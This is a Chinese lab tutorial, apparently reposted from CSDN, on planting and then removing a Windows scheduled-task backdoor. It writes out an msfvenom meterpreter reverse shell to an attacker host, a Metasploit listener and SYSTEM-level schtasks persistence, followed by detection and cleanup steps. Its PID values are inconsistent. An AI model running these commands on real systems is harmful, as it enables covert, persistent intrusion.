问小白 wenxiaobai
资讯
历史
科技
环境与自然
成长
游戏
财经
文学与艺术
美食
健康
家居
文化
情感
汽车
三农
军事
旅行
运动
教育
生活
星座命理

Windows系统计划任务后门的创建与应急处置实战

创作时间:
作者:
@小白创作中心

Windows系统计划任务后门的创建与应急处置实战

引用
CSDN
1.
https://blog.csdn.net/qq_51577576/article/details/143924532

在网络安全领域,后门的创建和检测是一个重要的技术话题。本文将详细介绍Windows系统中计划任务后门的创建方法和应急处置方案,帮助读者更好地理解和防范此类安全威胁。

计划任务后门介绍

简介

计划任务后门是一种利用Windows操作系统的计划任务功能来维持持久访问的技术。通过在目标系统上创建计划任务,攻击者可以确保恶意程序在特定时间或条件下自动执行,从而实现对系统的持续控制。

原理

计划任务后门的工作原理基于Windows的计划任务调度器(Task Scheduler)。攻击者可以通过以下方式实现计划任务后门:

  1. 创建计划任务:攻击者使用命令行工具如schtasks或PowerShell脚本创建一个计划任务,该任务将在指定的时间或事件触发时执行恶意程序。
  2. 设置触发条件:计划任务可以设置为在系统启动时、用户登录时或特定的时间间隔内运行。这使得恶意程序能够在后台静默运行,不易被检测到。
  3. 隐藏和伪装:为了提高隐蔽性,攻击者可能会将计划任务配置为以系统账户运行,并尝试将其伪装成合法的系统进程或服务。

实现步骤

  1. 生成恶意程序:首先,攻击者需要生成一个恶意可执行文件(例如,一个反向Shell或下载器)。

    msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o malicious.exe
    
  2. 创建计划任务:使用schtasks命令或PowerShell脚本创建一个计划任务。以下是一个使用PowerShell创建计划任务的示例:

    $action = New-ScheduledTaskAction -Execute 'C:\path\to\malicious.exe'
    $trigger = New-ScheduledTaskTrigger -AtStartup
    Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "MyBackdoor" -Description "Backdoor task" -User "SYSTEM" -RunLevel Highest
    
  3. 验证计划任务:确认计划任务已成功创建并配置正确。可以使用以下命令查看计划任务列表:

    Get-ScheduledTask | Where-Object {$_.TaskName -eq "MyBackdoor"}
    
  4. 测试后门:重启系统或等待触发条件满足,以确保恶意程序能够按预期执行。

防御措施

  1. 定期检查计划任务:管理员应定期检查系统中的计划任务,特别是那些不熟悉的任务或最近添加的任务。可以使用以下命令列出所有计划任务:

    Get-ScheduledTask
    
  2. 监控异常行为:使用安全软件和入侵检测系统(IDS)监控系统中的异常行为,特别是那些涉及计划任务创建和修改的操作。

  3. 限制权限:最小化用户和服务账户的权限,避免使用高权限账户进行日常操作。确保只有必要的服务和应用程序具有创建和管理计划任务的权限。

  4. 日志审计:启用详细的系统日志记录,并定期审查日志文件,以发现任何可疑的计划任务活动。

  5. 更新和补丁管理:保持操作系统和应用程序的最新状态,及时应用安全补丁,以修复已知的漏洞。

计划任务后门创建实战

前提条件

假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的administrator权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门,包括我们这里讲到的启动项后门。

环境介绍

  • 靶机:Windows 10
  • IP:10.0.0.165
  • 攻击机:Kali
  • IP:10.0.0.128

利用MSF生成一个EXE类型的后门木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o PowerShell.exe

MSF 启动监听

在Kali上监听端口55555,重启Windows 10之后马上就接收到目标机弹回来的shell

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.128
set lport 55555
run

将创建的后门上传到目标Windows机器

我这里时采用的Python起服务的方式,当然采用其他任何方式都行,只要上传到机器上面就行。

Kali起Python服务

python -m http.server 80

Windows访问Kali的Python服务下载PowerShell.exe

创建计划任务后门

在目标机内执行以下指令,创建一个wixoage计划任务,每一分钟执行一次PowerShell.exe,PowerShell.exe我放在C盘下。schtasks命令详解

schtasks /create /tn PowerShell /sc minute /mo 1 /tr C:\PowerShell.exe /ru system /f

查看计划任务成功创建,如下图所示:

schtasks /query /tn "PowerShell" /fo LIST /v

打开计划任务GUI程序进行查询

control schedtasks

Windows 10权限丢失

shell成功反弹

计划任务后门应急实战

查看网络连接

netstat -ano

工具TCPView查看网络连接装状况,TCPView参考。因为每一分钟或者几分钟定时任务才会执行一次,使用netstat -ano命令查看的话,只会查看当前时间的网络连接状态,时间把握不准的话不一定可以查看到程序异常连接,因此推荐使用TCPView,TCPView运行后可显示本机内存中执行的所有进程名、协议名称、本地地址+端口号、远程地址+端口号及它的状态,非常方便。

在Windows 10上打开TCPView,如下图所示,可以看到名字为PowerShell.exe的进程,其远程地址是10.0.0.128:55555,PID是746

但是TCPView流量检测过程中,PowerShell.exe程序一会儿红色一会儿绿色,像每个一分钟或者几分钟执行一次PowerShell.exe程序,推测可能存在定时任务

分析找到源头

通过PID号查找该进程文件所在的位置

wmic process get name,executablepath,processid|findstr 764

发现异常程序所在位置:

C:\PowerShell.exe  PowerShell.exe    420

经检测发现C:\PowerShell.exe文件为后门木马

应急处置

删除发现的恶意文件PowerShell.exe(为了后续演示更清晰,我先不删除C:\PowerShell.exe文件),后续再慢慢排查存不存在服务等问题。

C:\PowerShell.exe

并通过PID号强制杀掉进程的命令

taskkill /f /pid 764

计划任务分析

查看计划任务,打开计划任务GUI程序进行查询

control schedtasks

发现名称为PowerShell的计划任务,每分钟执行一次PowerShell.exe。

删除计划任务

命令删除

schtasks /delete /tn "PowerShell" /f

GUI删除

© 2023 北京元石科技有限公司 ◎ 京公网安备 11010802042949号